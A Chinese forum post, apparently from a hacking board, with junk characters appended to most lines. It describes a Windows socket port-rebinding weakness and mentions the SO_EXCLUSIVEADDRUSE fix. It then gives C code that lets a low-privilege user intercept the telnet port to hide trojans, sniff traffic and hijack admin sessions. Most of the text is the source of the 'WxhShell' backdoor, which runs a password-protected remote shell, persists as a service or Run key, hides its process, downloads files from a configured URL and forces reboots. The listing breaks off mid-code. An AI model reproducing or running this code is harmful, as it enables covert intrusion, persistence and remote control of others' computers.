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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: j)DZmGg&t  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MB 5[Js|  
DQICD.X6R  
  saddr.sin_family = AF_INET; KEN-G  
-]A#G`'  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); .%<&W1  
#G=QL(f>/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); |*NrS<"  
FlG^'UD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 -YyH"f   
r97[!y1gt  
  这意味着什么?意味着可以进行如下的攻击: 3ky+qoe  
R"o,m  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 NXNon*"  
sZB6zTX J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) HXHPz 4  
=eoxT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 N6[^62  
$?-o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Kx+Bc&X  
LD~'^+W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cZzZNGY^ts  
IR8&4qOs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 _q_[<{#  
'uzv\[  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^z;,deoGh  
PI \,`^)y  
  #include o#) !b:/  
  #include  BZc-  
  #include <xjv7`G7  
  #include    xm0#4GFUS  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {kH^OZ^(e  
  int main() JW [\"`x!  
  { ;j>d"i36&  
  WORD wVersionRequested; cgeS)C7  
  DWORD ret; f{c[_OR  
  WSADATA wsaData; b[;3KmUB  
  BOOL val; 'aP*++^   
  SOCKADDR_IN saddr; }2A1Yt:^P  
  SOCKADDR_IN scaddr; 51ebE`  
  int err; U(=9&c@]  
  SOCKET s; O9X:1>a@i  
  SOCKET sc; D>e\OfTR:  
  int caddsize; l1Q+hz5"*U  
  HANDLE mt; Pq>[q?>?  
  DWORD tid;   I 47GQho  
  wVersionRequested = MAKEWORD( 2, 2 ); HHTsHb{7  
  err = WSAStartup( wVersionRequested, &wsaData ); hr6e1Er  
  if ( err != 0 ) { (zDk68=v  
  printf("error!WSAStartup failed!\n"); @h$0S+?:  
  return -1; [(F<|f:n  
  } dd7nO :]  
  saddr.sin_family = AF_INET; F'$S!K58  
   4`P2FnJ?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 O)JUY *&I5  
EJ ~k Z3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,wi=!KzX  
  saddr.sin_port = htons(23); 9PqgBq   
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U"Hquo  
  { 3t{leuO'  
  printf("error!socket failed!\n"); PbHh?iH  
  return -1;  M .`  
  } K!c@aD:#  
  val = TRUE; eu]iwOc&p  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ls7A5 <  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) U.7y8#qf3R  
  { `N.$LY;8  
  printf("error!setsockopt failed!\n"); eoe^t:5&  
  return -1; Z;~[@7`  
  } 9Y%?)t.2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; zHOE.V2Qo  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 'b?.\Bm;  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |z]2KjF&w-  
:t{vgi D9  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) }R&5qpl  
  { ]z=Vc#+!  
  ret=GetLastError(); ?g;ZbD  
  printf("error!bind failed!\n");  pl,Z  
  return -1; n`z+ w*  
  } &:CjUaP@  
  listen(s,2); k-pEBh OH  
  while(1) CCh8?sM  
  { Y0B1xL@  
  caddsize = sizeof(scaddr); m?VRX .>  
  //接受连接请求 YATdGLTeq  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 9N D+w6"  
  if(sc!=INVALID_SOCKET) 2ZG1n#  
  { _|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); G P[r^Z  
  if(mt==NULL) ,;iBeqr5  
  { RYZE*lWUh  
  printf("Thread Creat Failed!\n"); ]( =wlq)  
  break; 4JZHjf0M6  
  }  AMD?LjY~  
  } Sj{ia2AE_  
  CloseHandle(mt); rt^45~  
  } C9F+e  
  closesocket(s); N.{jM[\F  
  WSACleanup(); VHT@s7u0"  
  return 0; Az< 9hk  
  }   yD"0=\  
  DWORD WINAPI ClientThread(LPVOID lpParam) 2>}\XKF).  
  { ;\.JV '  
  SOCKET ss = (SOCKET)lpParam; $'knK<  
  SOCKET sc; x]R(twi  
  unsigned char buf[4096]; $?)3&\)R  
  SOCKADDR_IN saddr; WTD49_px  
  long num; 6Z7pztk  
  DWORD val; @\T;PTD-  
  DWORD ret; G4`Ut1g ^  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ytve1<.Ff  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   hiMyFvA4  
  saddr.sin_family = AF_INET; +|?|8"Qg  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r[v-?W'  
  saddr.sin_port = htons(23); }, fo+vRM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R@<_Hb;Aeb  
  { 0/:=wn^pg  
  printf("error!socket failed!\n"); &oeN#5Es8C  
  return -1; j|&DP-@g/  
  } B8UZ9I$n  
  val = 100; 27a* H1iQ  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7/|F9fF@M  
  { )t,{YGY#  
  ret = GetLastError(); O5^J!(.O\Z  
  return -1; "@{4.v^}!  
  } /:y2Up-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) #$t}T@t>  
  { o3F|#op  
  ret = GetLastError(); =F'M~3M   
  return -1; f#v#)Gp+  
  } 98A(jsj  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Dr6s ^}}~n  
  { ;wbUk5Tf/  
  printf("error!socket connect failed!\n"); =a9etF%B  
  closesocket(sc); M 20Bc,VI  
  closesocket(ss); z9M.e.  
  return -1; "brRME3  
  } /esVuz  
  while(1) >:jM}*dnL  
  { om}/f`  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 skI(]BDf  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {xv?wenE  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 CQSpPQA  
  num = recv(ss,buf,4096,0); -SvTg{Q{la  
  if(num>0) RVkU+7  
  send(sc,buf,num,0); ^`rpf\GX(  
  else if(num==0) d@4rD}_Z  
  break; \TbsoWX  
  num = recv(sc,buf,4096,0); +5HnZ?E\  
  if(num>0) V#NG+U.B  
  send(ss,buf,num,0); ~!ZmF(:  
  else if(num==0) T A\4uy6o  
  break; ou'~{-_xd  
  } ^qeY9O  
  closesocket(ss); (T|TEt  
  closesocket(sc); i*S|qX7``  
  return 0 ; c~^CKgr~R9  
  } H|;*_  
|DE%SVZB  
!/j,hO4Z4  
========================================================== w; 4jx(  
iiX\it$s  
下边附上一个代码,,WXhSHELL &|.hkR2k  
]cm6 |`pz  
========================================================== Xnv@H:$mxk  
(#6AKr9K  
#include "stdafx.h" &~~aAg  
`KpFH.k.K  
#include <stdio.h> F$Im9T6  
#include <string.h> wjTNO0hj  
#include <windows.h> :zdEq" )v  
#include <winsock2.h> 2W^B{ZS;  
#include <winsvc.h> HDmx@E.@  
#include <urlmon.h> jzs.+dAg  
IKi{Xh]\  
#pragma comment (lib, "Ws2_32.lib") 9u,8q:I.?  
#pragma comment (lib, "urlmon.lib") #?{qlgv<p  
MA\m[h]  
#define MAX_USER   100 // 最大客户端连接数 =)I"wR"v$  
#define BUF_SOCK   200 // sock buffer 90/vJN  
#define KEY_BUFF   255 // 输入 buffer A8pj~I/*-  
T[;; 9z  
#define REBOOT     0   // 重启 1 -ZJT  
#define SHUTDOWN   1   // 关机 i;o}o *=  
I^~=,D  
#define DEF_PORT   5000 // 监听端口 l|YT[LR7  
0K<x=-cCB  
#define REG_LEN     16   // 注册表键长度 .,3Zj /  
#define SVC_LEN     80   // NT服务名长度 ^rv"o:lF  
z % x7fe  
// 从dll定义API &<,SV^w ag  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); l~bKBz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J yj0Gco  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); g(/{.%\k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [X,A'Q  
AR%hf  
// wxhshell配置信息 /+V Iw`E  
struct WSCFG { @}<"N  
  int ws_port;         // 监听端口 n*Q`g@`  
  char ws_passstr[REG_LEN]; // 口令 vUNisVA  
  int ws_autoins;       // 安装标记, 1=yes 0=no 55.;+B5L *  
  char ws_regname[REG_LEN]; // 注册表键名 } h[>U  
  char ws_svcname[REG_LEN]; // 服务名 o=pt_!i/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d%0+i/p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 <i{K7}':  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ''IoC j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no g"wxC@IR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &lAQ &  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A\K,_&x1Z  
,c>N}*6h=W  
}; ^q ;Cx7T_p  
FigR1/3o'6  
// default Wxhshell configuration ^ [k0k(_  
struct WSCFG wscfg={DEF_PORT, 0rD#s{?   
    "xuhuanlingzhe", [,=d7*b(l  
    1, /aZE,IeEz  
    "Wxhshell", 6*u,c^a  
    "Wxhshell", m0|K#^  
            "WxhShell Service", ?^ZXU0IkP  
    "Wrsky Windows CmdShell Service", Y\xUT>(J7  
    "Please Input Your Password: ", x?"#gK`3;  
  1, nnNv0 ?>d(  
  "http://www.wrsky.com/wxhshell.exe", <I; 5wv  
  "Wxhshell.exe" B2 c@kru  
    }; e,HMwD  
j{"z4Y4  
// 消息定义模块 +$47v$p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {`% hgR  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 5IW8=$k~.)  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *8bK')W  
char *msg_ws_ext="\n\rExit."; hq#kvvi{f  
char *msg_ws_end="\n\rQuit."; L=O lyHO  
char *msg_ws_boot="\n\rReboot..."; <l$P&jSF3  
char *msg_ws_poff="\n\rShutdown..."; Vtb1[cnna  
char *msg_ws_down="\n\rSave to "; A\z`c e!  
{Oj7  
char *msg_ws_err="\n\rErr!"; |uI?ySF  
char *msg_ws_ok="\n\rOK!"; jin db#)bz  
igDG}q3jG  
char ExeFile[MAX_PATH]; `>6T&  
int nUser = 0; o#>a 5  
HANDLE handles[MAX_USER]; B**Nn!}0  
int OsIsNt; 5 L/x-i  
$5AC1g'  
SERVICE_STATUS       serviceStatus; 2j&v;dmh<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; m@jge)O&D  
!aPD}xCH#  
// 函数声明 a+`D'?z  
int Install(void);  PWH^=K  
int Uninstall(void); =E(#YCx  
int DownloadFile(char *sURL, SOCKET wsh); Z) Wnow  
int Boot(int flag); jk*tL8?i  
void HideProc(void); w{!(r  
int GetOsVer(void); BcQEG *N  
int Wxhshell(SOCKET wsl); E{4 e<%Y,  
void TalkWithClient(void *cs); gbDX7r-  
int CmdShell(SOCKET sock); cWMUj K/N  
int StartFromService(void); mdW~~-@H  
int StartWxhshell(LPSTR lpCmdLine); F";.6%;AC  
F;8*H1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ` #OSl  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xc*U+M >U  
%'bJ:  
// 数据结构和表定义 n[,XU|2  
SERVICE_TABLE_ENTRY DispatchTable[] = |a-fE]{7  
{ C!+I>J{4f  
{wscfg.ws_svcname, NTServiceMain}, qmglb:"  
{NULL, NULL} #(KDjnP[  
}; HeLG?6  
tIc 7:th  
// 自我安装 PT'MNH  
int Install(void) Apj;  
{ H4:&%"j7  
  char svExeFile[MAX_PATH]; ?>$l  
  HKEY key; N\NyXh$  
  strcpy(svExeFile,ExeFile); aJhxc<"e  
B4h5[fPX  
// 如果是win9x系统,修改注册表设为自启动 >|g?wC}V;  
if(!OsIsNt) { :z&7W<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8|@9{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); e(?]SU|  
  RegCloseKey(key); f>2MI4nMG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wM~H(=s`D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wi_'iv  
  RegCloseKey(key); SmhGZ  
  return 0; 5'KA'>@  
    } aUc|V{Jp  
  } pTJX""C  
} MHU74//fe  
else { E5</h"1  
M5g\s;y;  
// 如果是NT以上系统,安装为系统服务 Z hd#:d  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); O hVs#^  
if (schSCManager!=0) CrC =A=e  
{ GbI-SbE  
  SC_HANDLE schService = CreateService d\]Yk]r  
  ( AY,].Zg[  
  schSCManager, )5_jmW`n  
  wscfg.ws_svcname, W$0^(FH[  
  wscfg.ws_svcdisp, c!#:E`  
  SERVICE_ALL_ACCESS, Y}s@WJ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , */^QH@P  
  SERVICE_AUTO_START, eJ0?=u!x  
  SERVICE_ERROR_NORMAL, A\fb<  
  svExeFile, rV6/Tdy  
  NULL, zFz10pH  
  NULL, q_kdCO{:df  
  NULL, rG}\Zjn{  
  NULL, k{;,6H  
  NULL Q GZyL)Q  
  ); H+E$:)gN  
  if (schService!=0) \C,p WW  
  { _P?s'HH  
  CloseServiceHandle(schService); vi.w8 >CE  
  CloseServiceHandle(schSCManager); |`TgX@,#9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); A@hppaP!  
  strcat(svExeFile,wscfg.ws_svcname); iOAbaPN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nKa$1RMO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^D%FX!$  
  RegCloseKey(key); 9KWuN:Sg  
  return 0; Fz#X= gmG  
    } bKg8rK u  
  } 2i;7{7  
  CloseServiceHandle(schSCManager); /!h;c$  
} VTy9_~q  
} Xpe)PXb  
)R`xR,H  
return 1; [AMAa]^  
} I$q]. B  
vM:cWat  
// 自我卸载 |a1{ve[  
int Uninstall(void) BTgG4F/)  
{ jTO), v:w  
  HKEY key; @,Gxk   
hj'(*ND7z  
if(!OsIsNt) { ktIi$v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 2 3OC2|  
  RegDeleteValue(key,wscfg.ws_regname); 0}!\$"|D  
  RegCloseKey(key); n3A aZp[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <-D/O$q  
  RegDeleteValue(key,wscfg.ws_regname); OnQdq^UB  
  RegCloseKey(key); #@<9S{F  
  return 0; 'AN>`\mR$  
  } RuII!}*  
} =UUU$hq2  
} -f*P nxg  
else { `tP7ncky  
T5a*z}L5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); o2<#s)GpY  
if (schSCManager!=0) :oJ=iB'Zc  
{ ULMu19>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I f\fLhM  
  if (schService!=0) 6DH~dL_",%  
  { D$t k<{)oB  
  if(DeleteService(schService)!=0) { vZ.x{"n'~  
  CloseServiceHandle(schService); %CK^Si%+  
  CloseServiceHandle(schSCManager); ``wSc0\  
  return 0; s"t$0cH9  
  } >=[(^l  
  CloseServiceHandle(schService);  }Y;K~J  
  } gNt(,_]ZR  
  CloseServiceHandle(schSCManager); ZYC<Wb)I  
} 1t)il^p4[;  
} `@nl  
4$P0:  
return 1; }GeSu|m(  
} Y1]n^  
rqY`8Ry2M  
// 从指定url下载文件 z11O F  
int DownloadFile(char *sURL, SOCKET wsh) r-:Uz\gM  
{ \otWd  
  HRESULT hr; 6I%5Q4Ll  
char seps[]= "/"; y3fGWa*7e  
char *token; U&?v:&c#&n  
char *file; w@{=nD4p  
char myURL[MAX_PATH]; rk #sy$  
char myFILE[MAX_PATH]; Uu`9 "  
E{|W(z,  
strcpy(myURL,sURL); "1%5,  
  token=strtok(myURL,seps); EM[WK+9>I{  
  while(token!=NULL) DQ r Y*nH  
  { RJd(~1  
    file=token; Ymg|4 %O@  
  token=strtok(NULL,seps); )c)vTZy  
  } s,]z[qB#$  
}hhGu\  
GetCurrentDirectory(MAX_PATH,myFILE); Y\No4w ^|d  
strcat(myFILE, "\\"); , GP?amh  
strcat(myFILE, file); HhvdqvIEG  
  send(wsh,myFILE,strlen(myFILE),0); x^y'P<ypw  
send(wsh,"...",3,0); y!_C/!d  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -4 SY=NC_  
  if(hr==S_OK) @0/+_2MH-  
return 0; PK`D8)=u  
else t+!$[K0/  
return 1; hpD!2 K3>  
'h,VR=e<  
} NA~Vg8  
tP$<UKtU  
// 系统电源模块 [D\k^h  
int Boot(int flag) >s<^M|S07  
{ ++`0rY%  
  HANDLE hToken; =,6z4" )  
  TOKEN_PRIVILEGES tkp; G;l_|8<t#\  
:gWu9Y|{  
  if(OsIsNt) { $xPaYf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); H" 3fT0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); NgP&.39U  
    tkp.PrivilegeCount = 1; 2QyV%wz  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Q o{/@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); M 0U 0;QJ  
if(flag==REBOOT) { ZzJ?L4J5v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |l]XpWV  
  return 0; [q8 P~l  
} )QU  
else { ! t?iXZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :% ,:"  
  return 0; #ML%ij 1  
} ]H+8rY%+  
  } n<z [J=I  
  else { %D\[*  
if(flag==REBOOT) { 3 :<WY&9  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l*d(;AR  
  return 0; T?ZRiR)@  
} h7lDHIQf  
else { hG12ZZD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) gc-@"wI?  
  return 0; G}b]w~ML ~  
} #Y a4ps_  
} YUtC.TR1  
RC7]'4o  
return 1; 4NheWM6  
} UCB/=k^m  
Qp_isU  
// win9x进程隐藏模块 Bg x'9p/  
void HideProc(void) >4TaP*_  
{ r\'A i6  
o$jLzE"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); uKUiV%p!  
  if ( hKernel != NULL ) g| I6'K!<  
  { O;:mCt _H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (MxQ+D\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MOQ*]fV:  
    FreeLibrary(hKernel); d928~y W  
  } \ `~Ly-  
}v}P .P  
return; R;&AijS8  
} 7&jTtKLj  
jFL #s&ft  
// 获取操作系统版本 P}n_IV*@  
int GetOsVer(void) ,Z&xNBX  
{ '"0'Oua  
  OSVERSIONINFO winfo; 1 ySk;;3  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'YmIKIw  
  GetVersionEx(&winfo); g?goZPZB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cQy2"vtU  
  return 1; zPn+ V7F  
  else "O3tq =Q  
  return 0; ls\WXCH  
} =.Pw`.  
S"NqM[W  
// 客户端句柄模块 I_} SB|  
int Wxhshell(SOCKET wsl) CkOz  
{ riY~%9iV'  
  SOCKET wsh; @\0ez<.p}  
  struct sockaddr_in client; Cjm`|~&e+  
  DWORD myID; IA8f*]?  
U)fc*s  
  while(nUser<MAX_USER) Rr&h!YMb  
{ JjtNP)We  
  int nSize=sizeof(client); yVU^M?`#  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]!?;@$wx  
  if(wsh==INVALID_SOCKET) return 1; e^6)Zz1\  
9-&Ttbb4)0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); sJL&:!}V>  
if(handles[nUser]==0) ^oBtfN>4  
  closesocket(wsh); tqE6>"jD  
else c}lb%^;)E  
  nUser++;  VA6}  
  } 4VJ-,Z  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D=j-!{zB  
BKCA <  
  return 0; I0D(F i  
}  eI$oLl@  
_mqL8ho  
// 关闭 socket 2V mNZ{<  
void CloseIt(SOCKET wsh) LO9=xGj.  
{ cLpYW7vZ[  
closesocket(wsh); ~7*.6YnI  
nUser--; 6iVxc|Ia  
ExitThread(0); 6M @[B|Q(  
} [M]  
=upeRY@u5  
// 客户端请求句柄 X9v.1s,  
void TalkWithClient(void *cs) H%qsjB^  
{ 1gL2ia  
b|l:fT?&  
  SOCKET wsh=(SOCKET)cs; #^u$  
  char pwd[SVC_LEN]; eBZXI)pPh  
  char cmd[KEY_BUFF]; .F98G/s  
char chr[1]; TV)h`\|Z*  
int i,j; M'7f O3&|  
g0xuxK;9c  
  while (nUser < MAX_USER) { BOX{]EOj  
n7zm>&  
if(wscfg.ws_passstr) { B al`y  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `{f}3bO7C  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zG }@0  
  //ZeroMemory(pwd,KEY_BUFF); ?qmRbDI  
      i=0; xipU8'ac/  
  while(i<SVC_LEN) { Jz\%%C  
'*Z1tDFS  
  // 设置超时 `XJG(Oas\  
  fd_set FdRead; R   
  struct timeval TimeOut; MR;1 2*p  
  FD_ZERO(&FdRead); A` N,  
  FD_SET(wsh,&FdRead); TEP,Dq  
  TimeOut.tv_sec=8; TtJH7  
  TimeOut.tv_usec=0; 9)h"-H;5:  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )cX*I gO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +vw\y  
\S"isz  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .r|tSfm6  
  pwd=chr[0]; &pP;Neh;  
  if(chr[0]==0xd || chr[0]==0xa) { 7!$Q;A  
  pwd=0; WQx?[tW(U  
  break; TtK[nP  
  } )Oq|amvC  
  i++; 7LfAaj  
    } ;@0;pY  
U#0Q)  
  // 如果是非法用户,关闭 socket 46}g7skD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .O DU  
} y;4OY  
4(#'_jS  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1NbG>E#Ol  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R6 y#S&]x  
^+*N%yr  
while(1) { )1Y{Q Y}l  
X@--m6-  
  ZeroMemory(cmd,KEY_BUFF); ^3G{|JB!+  
kYM~d07 V  
      // 自动支持客户端 telnet标准   |O{m2Fi  
  j=0; \q>bs|2  
  while(j<KEY_BUFF) { DRSr%d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RaO-H  
  cmd[j]=chr[0]; o5u3Fjz3  
  if(chr[0]==0xa || chr[0]==0xd) { N,<uf@LQ  
  cmd[j]=0; ]>W6 bTK  
  break; C+* d8_L  
  } B~?*?Z'  
  j++; kS%Ydy#:'  
    } a Fl;BhM  
i"1Mfz~e  
  // 下载文件 O+nEXS\rQ  
  if(strstr(cmd,"http://")) { jkQ*D(;p  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); t^UxR@l<K|  
  if(DownloadFile(cmd,wsh)) S%$ }(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^8]NxV@l  
  else )~& CvJ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); aacpM[{f  
  } n|6Ic,:[  
  else { t DO=P c  
2\)xpOj  
    switch(cmd[0]) { mWv3!i;G<s  
  hM_lsc  
  // 帮助 0$(WlP |  
  case '?': { 3Lfqdqj  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); SDC4L <!  
    break; R1s`z|?  
  } AKY1o.>z  
  // 安装 d|jNf</`  
  case 'i': { #"}JdBn  
    if(Install()) |+{)_?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?'IP4z;y  
    else M5i%jZk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [ieI;OG;  
    break; 5v[*:0p'  
    } ajve~8/&  
  // 卸载 S\^P ha q  
  case 'r': { 32(^Te]:  
    if(Uninstall()) oF vfCrd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]v?@g:i E  
    else #./fY;:cj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -Sq z5lo  
    break; Ah1]Y}sy  
    } M "ui0 ac  
  // 显示 wxhshell 所在路径  hz{`h  
  case 'p': { BfXgh'Z~  
    char svExeFile[MAX_PATH]; #^#PPO  
    strcpy(svExeFile,"\n\r"); [m- >5H  
      strcat(svExeFile,ExeFile); SDL7<ZaE  
        send(wsh,svExeFile,strlen(svExeFile),0); s'3 s^Dd  
    break; [RS|gem`  
    } )Fc%+TpKi  
  // 重启 HUcq% .  
  case 'b': { 6 [k\@&V-  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e*sfPHt  
    if(Boot(REBOOT)) HsxVZ.dS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GmK^}=frj  
    else { +|*IZ:w)  
    closesocket(wsh); <:_wbVn-  
    ExitThread(0); 0`Kj 25  
    } )z>|4@,  
    break; Qo>b*Ku;  
    } @<,X0S  
  // 关机 x-XD.qh7Hr  
  case 'd': { Z~GL5]S  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -7SAK1c$  
    if(Boot(SHUTDOWN)) 1eA7>$w}[  
